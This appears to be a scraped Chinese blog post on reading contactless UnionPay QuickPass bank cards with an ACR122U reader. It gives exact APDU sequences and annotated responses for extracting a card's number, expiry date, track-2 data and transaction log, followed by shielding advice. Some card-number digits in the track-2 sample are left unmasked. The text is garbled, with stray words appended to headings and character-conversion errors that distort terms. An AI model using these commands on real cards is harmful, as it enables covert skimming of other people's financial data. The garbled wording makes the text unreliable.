0×00 前言工具
說到閃付卡,首先要從EMV開始,EMV是由Europay,MasterCard和VISA制定的基於IC卡的支付標準規範。目前基於EMV卡的非接觸式支付的實現有三個:VISA的payWave,MasterCard的PayPass以及銀聯的閃付QuickPass。目前從外觀來看,銀聯發行的卡面有芯片的IC卡均支持閃付,部分銀行支持VISA的payWave。測試
0×01 閃付卡隱私泄露風險ui
想象一下當路人拿着巴掌大的設備靠近你的時候,你身上的銀行卡的卡號、髮卡行、最近十筆的交易記錄等,甚至是姓名、身份證號都泄露出去將會有多恐怖。經過這些信息攻擊者就能夠大體刻畫出卡主人的消費習慣和生活水平等等。固然,這並非閃付卡或金融IC卡的「漏洞」,這些信息是須要在交易過程當中由POS機發送給髮卡行進行驗證的。spa
0×02 閃付卡工做流程日誌
本文所指的工做流程只侷限在跟信息泄露相關的流程上,不涉及數據認證、支付、聯機交易等內容。對象
應用選擇blog
(2PAY.SYS.DDF01)索引
應用初始化get
讀取數據工作流
後續流程等
應用選擇
應用選擇包括目錄選擇法 與 AID列表法。讀卡器會首先使用目錄選擇法,若是失敗,則會使用AID列表法。簡單來講,目錄選擇法就是讀卡器從卡片讀取其所支持的全部應用,而AID列表法則是讀卡器將其所支持的全部應用一個一個發給卡片,當有響應時則卡片支持該應用,無響應則不存在。然後構造出一個支持的列表,供讀卡器或持卡人選擇。以目錄選擇法爲例:
SELECT的命令報文格式爲爲00 A4 04(經過名稱選擇) 00(僅有一個) + 數據長度 + DATA的ASCII碼 如選擇qPBOC 00 A4 04 00 0E + 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 (2PAY.SYS.DDF01的ASCII碼)
應用初始化
此處與交易有關,與本文隱私泄露關係不大,但由於是中間步驟,因此作簡單描述。在上一步應用選擇時卡片返回了PDOL(處理選項數據對象列表,能夠理解爲由卡片提供的組包格式),應用初始化時,按照PDOL組包向卡片發送GPO命令,包括金額、時間、國家代碼、貨幣代碼等。進入GPO就表明着交易的開始。
讀取數據
此部分是咱們主要關注的位置,經過GET DATA或READ RECORD命令來讀取,READ RECORD經過SFI讀取數據內容,主要關注的是讀取我的化數據(DGI),GET DATA讀取一些標籤裏的內容(如貨幣代碼、金額限制、上限、交易日誌格式等)。DGI的第一個字節爲01-1E,是SFI,第二個字節是記錄編號。經常使用的DGI有0101(2磁道等價數據、持卡人姓名(不建議存儲)、1磁道自定義數據) 0102(2 磁道等價數據、1磁道自定義數據),0201(數據認證數據)等,具體的DGI表可參考《中國金融集成電路(IC)卡規範》的第十部分 表1。
GET DATA的命令報文的格式爲80CA + 標籤 + 00
如讀取電子現金餘額(9F79)發送 80CA9F7900。
READ RECORD的命令報文的格式爲00B2 + 記錄號 + 引用控制參數 + 00
其中引用控制參數爲 SFI(Bin)左移三位 + 100(Bin)
如讀取DGI0101時,第一個01爲SFI,第二個01爲編號。計算引用控制參數以下,0000 0001左移三位獲得00001 + 100 獲得 0000 1100轉換爲Hex爲 0C,獲得的APDU爲 00 B2 01 0C 00。
0×03 測試過程
須要準備的工具以下:
ACR122u或同類支持APDU的讀卡器
讀卡器驅動及應用
支持閃付的銀行卡
本文使用的測試卡以下圖所示:
下面操做均會以ACR122U爲讀卡器操做,在安裝好驅動及ACR122U Tool後,插入讀卡器並啓動ACR122U Tool。首先鏈接讀卡器設備,點擊菜單中的Reader Commands -> New connection
鏈接成功後,能夠使用該工具直接發送APDU,點擊 Send Commands -> APDU Command
按照閃付卡的工做流程構造APDU發包,第一步是應用選擇,選擇qPBOC(2PAY.SYS.DDF01)
APDU:00 A4 04 00 + 0E + 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 (2PAY.SYS.DDF01的ASCII) 響應包以下 6F 30 (FCI文件控制信息) 84 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 (DF專用文件,2PAY.SYS.DDF01的ASCII) A5 1E (FCI專用模板) BF 0C 1B (FCI自定義數據) 61 19 (目錄入口) 4F 08 A0 00 00 03 33 01 01 01 (返回的AID,下一步選擇的AID) 50 0A 50 42 4F 43 20 44 45 42 49 54 (應用標籤,此處爲PBOC DEBIT) 87 01 01(應用優先指示器) 90 00 (狀態字:正常)
獲得下一步的AID:A0 00 00 03 33 01 01 01,選擇該AID
APDU:00 A4 04 00 + 08 + A0 00 00 03 33 01 01 01 響應包以下 6F 54 (FCI文件控制信息) 84 08 A0 00 00 03 33 01 01 01 (DF名稱) A5 48 (FCI專用模板) 50 0A 50 42 4F 43 20 44 45 42 49 54 (應用標籤,此處爲PBOC DEBIT) 87 01 01 (應用優先指示器) 9F 38 18 9F 66 04 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 (PDOL) 5F 2D 02 7A 68 (首選語言,zh) 9F 11 01 01 (髮卡行代碼索引) 9F 12 0A 50 42 4F 43 20 44 45 42 49 54 (應用首選名稱,PBOC DEBIT) BF 0C 05 9F 4D 02 0B 0A (髮卡行自定義數據,9F4D爲交易日誌入口標籤) 90 00 (狀態字)
接下來能夠進行讀取數據的部分了,首先讀取DGI0201裏存儲的數據。其數據定義以下表:
要讀取DGI0201,計算APDU以下,0000 0010 左移三位 獲得 00010 加 100 獲得 0001 0100 即 14(Hex)
APDU:00 B2 01 14 00 響應包以下 70 46 (模板) 5F 24 03 25 12 31 (25年12月31日失效日期) 5F 25 03 15 05 14 (15年05月14日生效日期) 5A 08 62 26 xx xx xx xx 45 00 (卡號) 9F 07 02 FF 00 (應用使用控制) 8E 0C 00 00 00 00 00 00 00 00 02 03 1F 00 9F 0D 05 D8 60 04 A8 00 9F 0E 05 00 10 98 00 00 9F 0F 05 D8 68 04 F8 00 5F 28 02 01 56 (0156中國) 90 00 (狀態字:成功)
此處能夠獲取卡的生效日期、失效日期、卡號等內容,接下來嘗試讀取磁條2和持卡人信息的數據,須要讀取DGI0101和DGI0102,,通過上述方法計算須要發送的APDU爲:
APDU:00 B2 01 0C 00 響應包以下 70 15 (模板) 57 13 62 26 22 10 06 40 45 00 (2磁道卡號) D2 51 2 (有效期 25/12) 2 20 00 98 78 32 00 00 0F (補足) 90 00 (狀態字:成功)
APDU:00 B2 02 0C 00 響應包以下 70 36 (模板) 9F 61 12 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 (證件號,此處爲空) 9F 62 01 05 (證件類型) 5F 20 1A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 (姓名ASCII,此處爲空) 90 00 (狀態字:成功)
接下來嘗試讀取一下交易記錄,這裏要注意首先要獲取交易記錄的格式,銀聯給出了推薦格式:
可是注意這裏只是推薦格式,每一個銀行的卡片實現不必定相同,因此讀取交易記錄時應先獲取交易記錄的格式,使用GET DATA命令讀取9F4F標籤(交易日誌格式),根據該格式結合READ RECORD讀取出的交易日誌解析。首先讀取交易日誌格式:
APDU:80 CA 9F4F 00 響應包以下 9F 4F 19 9A 03 9F 21 03 9F 02 06 9F 03 06 9F 1A 02 5F 2A 02 9F 4E 14 9C 01 9F 36 02 90 00
通過比對發現與推薦格式相同,以後能夠經過READ RECORD命令讀取從1-10讀取交易日誌。首先要找到在選擇AID的時候的回包,9F4D指出了交易日誌入口,一般爲0B,根據上文計算其SFI爲 0101 1100即5C。以後再構造APDU循環讀取其十條交易記錄
APDU:00 B2 01 5C 00: 響應包以下 17 09 13 (17年9月13號) 16 45 38 (16:45:38) 00 00 00 35 00 00 (3500.00元) 00 00 00 00 00 00 (其餘金額) 01 56 (中國) 01 56 (人民幣) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A (空) 21 (交易類型) 00 31 (應用交易計數器) 90 00 (狀態字:成功)
下表爲使用手裏現有的銀行卡的測試狀況。
0×04 腳本
咱們已經能夠使用APDU發送的工具,獲取想要得到的信息,剩下的工做就是腳本化。能夠使用ACR122U的SDK,其提供了Delphi,Java,VB,C#,C++等語言,但我的更願意經過Python來實現,經過使用Python的pyscard庫,能夠實現該功能。
0×05 防禦方式
防禦的措施能夠考慮與讀卡器保持足夠的距離、使用鋁箔包裹卡片、專業的Pacsafe下屬的RFIDSafe系列或簡單便捷的屏蔽卡套等措施。原理都是經過金屬或液體屏蔽來屏蔽高頻信號。